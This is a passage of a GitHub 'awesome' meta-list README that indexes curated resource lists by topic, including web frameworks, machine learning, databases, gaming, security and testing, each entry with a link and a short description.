[Preact](https://github.com/preactjs/awesome-preact#readme) - App framework. - [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme) - [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps. - [Hyperapp](https://github.com/jorgebucaran/awesome-hyperapp#readme) - Tiny JavaScript library for building web apps. - [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - HTML templating library for JavaScript. - [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup. - [WordPress-Gatsby](https://github.com/henrikwirth/awesome-wordpress-gatsby#readme) - Web development technology stack with WordPress as a back end and Gatsby as a front end. - [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience. - [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components. - [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly. - [PageSpeed Metrics](https://github.com/palfi-ltd/awesome-pagespeed-metrics#readme) - Metrics to help understand page speed and user experience. - [Tailwind CSS](https://github.com/aniftyco/awesome-tailwindcss#readme) - Utility-first CSS framework for rapid UI development. - [Seed](https://github.com/seed-rs/awesome-seed-rs#readme) - Rust framework for creating web apps running in WebAssembly. - [Web Performance Budget](https://github.com/pajaydev/awesome-web-performance-budget#readme) - Techniques to ensure certain performance metrics for a website. - [Web Animation](https://github.com/sergey-pimenov/awesome-web-animation#readme) - Animations in the browser with JavaScript, CSS, SVG, etc. - [Yew](https://github.com/jetli/awesome-yew#readme) - Rust framework inspired by Elm and React for creating multi-threaded frontend web apps with WebAssembly. - [Material-UI](https://github.com/nadunindunil/awesome-material-ui#readme) - Material Design React components for faster and easier web development. - [Building Blocks for Web Apps](https://github.com/componently-com/awesome-building-blocks-for-web-apps#readme) - Standalone features to be integrated into web apps. ## Back-End Development - [Flask](https://github.com/humiaozuzu/awesome-flask#readme) - Python framework. - [Docker](https://github.com/veggiemonk/awesome-docker#readme) - [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment. - [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework. - [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme) - [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework. - [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework. - [Education](https://github.com/pehapkari/awesome-symfony-education#readme) - [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework. - [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme) - [TALL Stack](https://github.com/blade-ui-kit/awesome-tall-stack#readme) - Full-stack development solution featuring libraries built by the Laravel community. - [Rails](https://github.com/gramantin/awesome-rails#readme) - Web app framework for Ruby. - [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages. - [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework. - [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme) - [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server. - [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework. - [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations. - [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework. - [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures. - [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework. - [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM. - [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure. - [Vapor](https://github.com/Cellane/awesome-vapor#readme) - Server-side development in Swift. - [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework. - [FastAPI](https://github.com/mjhea0/awesome-fastapi#readme) - Python web app framework. ## Computer Science - [University Courses](https://github.com/prakhar1989/awesome-courses#readme) - [Data Science](https://github.com/academic/awesome-datascience#readme) - [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme) - [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme) - [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme) - [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby. - [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework. - [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala. - [Software Engineering for Machine Learning](https://github.com/SE-ML/awesome-seml#readme) - From experiment to production-level machine learning. - [AI in Finance](https://github.com/georgezouq/awesome-ai-in-finance#readme) - Solving problems in finance with machine learning. - [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme) - [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme) - [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme) - [Question Answering](https://github.com/seriousran/awesome-qa#readme) - The science of asking and answering in natural language with a machine. - [Natural Language Generation](https://github.com/tokenmill/awesome-nlg#readme) - Generation of text used in data to text, conversational agents, and narrative generation applications. - [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme) - [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme) - [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers. - [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme) - [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks. - [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence. - [TensorFlow.js](https://github.com/aaronhma/awesome-tensorflow-js#readme) - WebGL-accelerated machine learning JavaScript library for training and deploying models. - [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers. - [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme) - [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme) - [Open Source Society University](https://github.com/ossu/computer-science#readme) - [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme) - [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems. - [Static Analysis & Code Quality](https://github.com/analysis-tools-dev/static-analysis#readme) - [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine. - [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers. ## Big Data - [Big Data](https://github.com/onurakpolat/awesome-bigdata#readme) - [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme) - [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets. - [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme) - [Streaming](https://github.com/manuzhang/awesome-streaming#readme) - [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing. - [Qlik](https://github.com/ambster-public/awesome-qlik#readme) - Business intelligence platform for data visualization, analytics, and reporting apps. - [Splunk](https://github.com/sduff/awesome-splunk#readme) - Platform for searching, monitoring, and analyzing structured and unstructured machine-generated big data in real-time. ## Theory - [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme) - [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme) - [Algorithms](https://github.com/tayllan/awesome-algorithms#readme) - [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing. - [Algorithm Visualizations](https://github.com/enjalot/algovis#readme) - [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme) - [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme) - [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme) - [Math](https://github.com/rossant/awesome-math#readme) - [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures. ## Books - [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme) - [Free Software Testing Books](https://github.com/ligurio/awesome-software-quality#readme) - [Go Books](https://github.com/dariubs/GoBooks#readme) - [R Books](https://github.com/RomanTsegelskyi/rbooks#readme) - [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme) - [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme) - [Elixir Books](https://github.com/sger/ElixirBooks#readme) ## Editors - [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme) - [Vim](https://github.com/mhinz/vim-galore#readme) - [Emacs](https://github.com/emacs-tw/awesome-emacs#readme) - [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor. - [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor. ## Gaming - [Game Development](https://github.com/ellisonleao/magictools#readme) - [Game Talks](https://github.com/hzoo/awesome-gametalks#readme) - [Godot](https://github.com/Calinou/awesome-godot#readme) - Game engine. - [Open Source Games](https://github.com/leereilly/games#readme) - [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine. - [Chess](https://github.com/hkirat/awesome-chess#readme) - [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine. - [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console. - [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme) - [Construct 2](https://github.com/WebCreationClub/awesome-construct#readme) - Game engine. - [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine. - [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game. - [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games. - [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - A high-level strongly typed programming language used to produce cross-platform native code. - [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework. - [PlayCanvas](https://github.com/playcanvas/awesome-playcanvas#readme) - Game engine. - [Game Remakes](https://github.com/radek-sprta/awesome-game-remakes#readme) - Actively maintained open-source game remakes. - [Flame](https://github.com/flame-engine/awesome-flame#readme) - Game engine for Flutter. - [Discord Communities](https://github.com/mhxion/awesome-discord-communities#readme) - Chat with friends and communities. - [CHIP-8](https://github.com/tobiasvl/awesome-chip-8#readme) - Virtual computer game machine from the 70s. ## Development Environment - [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS. - [Dev Env](https://github.com/jondot/awesome-devenv#readme) - [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme) - [Shell](https://github.com/alebcay/awesome-shell#readme) - [Fish](https://github.com/jorgebucaran/awesome-fish#readme) - User-friendly shell. - [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme) - [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme) - [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories. - [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme) - [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme) - [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile. - [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme) - [Git Tips](https://github.com/git-tips/tips#readme) - [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI. - [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows. - [SSH](https://github.com/moul/awesome-ssh#readme) - [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme) - [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies. - [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell. - [Alfred Workflows](https://github.com/derimagia/awesome-alfred-workflows#readme) - Productivity app for macOS. - [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme) - [GitHub Actions](https://github.com/sdras/awesome-actions#readme) - Create tasks to automate your workflow and share them with others on GitHub. ## Entertainment - [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi. - [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme) - [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme) - [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme) - [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme) ## Databases - [Database](https://github.com/numetriclabz/awesome-db#readme) - [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme) - [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme) - [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme) - [Neo4j](https://github.com/neueda/awesome-neo4j#readme) - [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database. - [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme) - [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework. - [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database. - [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database. - [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store. - [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases. - [Contexture](https://github.com/ltchris/awesome-contexture#readme) - Abstracts queries/filters and results/aggregations from different backing data stores like ElasticSearch and MongoDB. - [Database Tools](https://github.com/mgramin/awesome-db-tools#readme) - Everything that makes working with databases easier. ## Media - [Creative Commons Media](https://github.com/shime/creative-commons-media#readme) - [Fonts](https://github.com/brabadu/awesome-fonts#readme) - [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts. - [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme) - [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images. - [Music](https://github.com/ciconia/awesome-music#readme) - [Open Source Documents](https://github.com/hubtee/awesome-opensource-documents#readme) - [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme) - [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme) - [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art. - [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video. - [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects. - [Audiovisual](https://github.com/stingalleman/awesome-audiovisual#readme) - Lighting, audio and video in professional environments. ## Learn - [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials. - [Learn to Program](https://github.com/karlhorky/learn-to-program#readme) - [Speaking](https://github.com/matteofigus/awesome-speaking#readme) - [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme) - [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme) - [Computer History](https://github.com/watson/awesome-computer-history#readme) - [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme) - [Educational Games](https://github.com/yrgo/awesome-educational-games#readme) - Learn while playing. - [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme) - [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules. - [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager. - [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills. ## Security - [Application Security](https://github.com/paragonie/awesome-appsec#readme) - [Security](https://github.com/sbilly/awesome-security#readme) - [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag. - [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme) - [Android Security](https://github.com/ashishb/android-security-awesome#readme) - [Hacking](https://github.com/carpedm20/awesome-hacking#readme) - [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization. - [Incident Response](https://github.com/meirwah/awesome-incident-response#readme) - [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme) - [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services. - [Lockpicking](https://github.com/meitar/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key. - [Cybersecurity Blue Team](https://github.com/meitar/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems. - [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data. - [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme) - [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - Regulation on data protection and privacy for all individuals within EU. - [DevSecOps](https://github.com/TaptuIT/awesome-devsecops#readme) - Integration of security practices into [DevOps](https://en.wikipedia.org/wiki/DevOps). ## Content Management Systems - [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme) - [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS. - [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience. - [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS. - [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS. - [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS. - [Sitecore](https://github.com/MartinMiles/Awesome-Sitecore#readme) - .NET digital marketing platform that combines CMS with tools for managing multiple websites. ## Hardware - [Robotics](https://github.com/Kiloreux/awesome-robotics#readme) - [Internet of Things](https://github.com/HQarroum/awesome-iot#readme) - [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists. - [Bluetooth Beacons](https://github.com/rabschi/awesome-beacon#readme) - [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar. - [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots. ## Business - [Open Companies](https://github.com/opencompany/awesome-open-company#readme) - [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme) - [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices. - [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment. - [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses. - [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News. - [Clean Tech](https://github.com/nglgzz/awesome-clean-tech#readme) - Fighting climate change with technology. - [Wardley Maps](https://github.com/wardley-maps-community/awesome-wardley-maps#readme) - Provides high situational awareness to help improve strategic planning and decision making. - [Social Enterprise](https://github.com/RayBB/awesome-social-enterprise#readme) - Building an organization primarily focused on social impact that is at least partially self-funded. - [Engineering Team Management](https://github.com/kdeldycke/awesome-engineering-team-management#readme) - How to transition from software development to engineering management. ## Work - [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration. - [Communities](https://github.com/filipelinhares/awesome-slack#readme) - [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme) - [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme) - [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme) - [Programming Interviews](https://github.com/MaximAbramchuck/awesome-interview-questions#readme) - [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code. ## Networking - [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme) - [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme) - [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme) - [Real-Time Communications](https://github.com/rtckit/awesome-rtc#readme) - Network protocols for near simultaneous exchange of media and data. ## Decentralized Systems - [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers. - [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network. - [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications. - [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network. - [Ethereum](https://github.com/ttumiel/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development. - [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning. - [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps. - [Corda](https://github.com/chainstack/awesome-corda#readme) - Open source blockchain platform designed for business. - [Waves](https://github.com/msmolyakov/awesome-waves#readme) - Open source blockchain platform and development toolset for Web 3.0 apps and decentralized solutions. ## Higher Education - [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system. - [Digital History](https://github.com/maehr/awesome-digital-history#readme) - Computer-aided scientific investigation of history. - [Scientific Writing](https://github.com/writing-resources/awesome-scientific-writing#readme) - Distraction-free scientific writing with Markdown, reStructuredText and Jupyter notebooks. - [Sustainable Technology](https://github.com/protontypes/awesome-sustainable-technology#readme) - Open technology sustaining stable climate, energy supply, and vital natural resources. ## Events - [Creative Tech Events](https://github.com/danvoyce/awesome-creative-tech-events#readme) - Events around the globe for creative coding, tech, design, music, arts and cool stuff. - [Events in Italy](https://github.com/ildoc/awesome-italy-events#readme) - Tech-related events in Italy. - [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands. ## Testing - [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing. - [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style. - [Selenium](https://github.com/christian-bromann/awesome-selenium#readme) - Open-source browser automation framework and ecosystem. - [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps. - [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol. - [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool. - [k6](https://github.com/k6io/awesome-k6#readme) - Open-source, developer-centric performance monitoring and load testing solution. - [Playwright](https://github.com/mxschmitt/awesome-playwright#readme) - Node.js library to automate Chromium, Firefox and WebKit with a single API. ## Miscellaneous - [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format. - [GeoJSON](https://github.com/tmcw/awesome-geojson#readme) - [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme) - [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values. - [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme) - [Sysadmin](https://github.com/n1trux/awesome-sysadmin#readme) - [Radio](https://github.com/kyleterry/awesome-radio#readme) - [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated. - [Analytics](https://github.com/onurakpolat/awesome-analytics#readme) - [REST](https://github.com/marmelab/awesome-rest#readme) - [Continuous Integration and Continuous Delivery](https://github.com/cicdops/awesome-ciandcd#readme) - [Services Engineering](https://github.com/mmcgrana/services-engineering#readme) - [Free for Developers](https://github.com/ripienaar/free-for-dev#readme) - [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc. - [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS. - [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme) - [Readme](https://github.com/matiassingers/awesome-readme#readme) - [Design and Development Guides](https://github.com/NARKOZ/guides#readme) - [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme) - [Self Hosted](https://github.com/awesome-selfhosted/awesome-selfhosted#readme) - [FOSS Production Apps](https://github.com/DataDaoDe/awesome-foss-apps#readme) - [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner. - [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything. - [Answers](https://github.com/stoeffel/awesome-ama-answers#readme) - [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme) - [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics. - [GraphQL](https://github.com/chentsulin/awesome-graphql#readme) - [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme) - [Research Tools](https://github.com/emptymalei/awesome-research#readme) - [Data Visualization](https://github.com/fasouto/awesome-dataviz#readme) - [Social Media Share Links](https://github.com/vinkla/shareable-links#readme) - [Microservices](https://github.com/mfornos/awesome-microservices#readme) - [Unicode](https://github.com/Wisdom/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources. - [Code Points](https://github.com/Codepoints/awesome-codepoints#readme) - [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme) - [Katas](https://github.com/gamontal/awesome-katas#readme) - [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme) - [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists. - [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol. - [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme) - [For Girls](https://github.com/cristianoliveira/awesome4girls#readme) - [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework. - [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API. - [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language. - [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit. - [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme) - [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme) - [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry. - [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme. - [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform. - [Bots](https://github.com/hackerkid/bots#readme) - Building bots. - [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme) - [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures. - [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework. - [Userscripts](https://github.com/brunocvcunha/awesome-userscripts#readme) - Enhance your browsing experience. - [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO. - [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat. - [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in. - [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model. - [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology. - [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system. - [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers. - [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional. - [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login. - [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom. - [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs. - [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language. - [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects. - [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers. - [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP. - [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt. - [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain. - [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives. - [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use. - [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system. - [Homematic](https://github.com/homematic-community/awesome-homematic#readme) - Smart home devices. - [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line. - [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works. - [Crypto Currency Tools & Algorithms](https://github.com/Zheaoli/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers. - [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community. - [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects. - [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences. - [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition. - [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool. - [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer. - [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform. - [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human. - 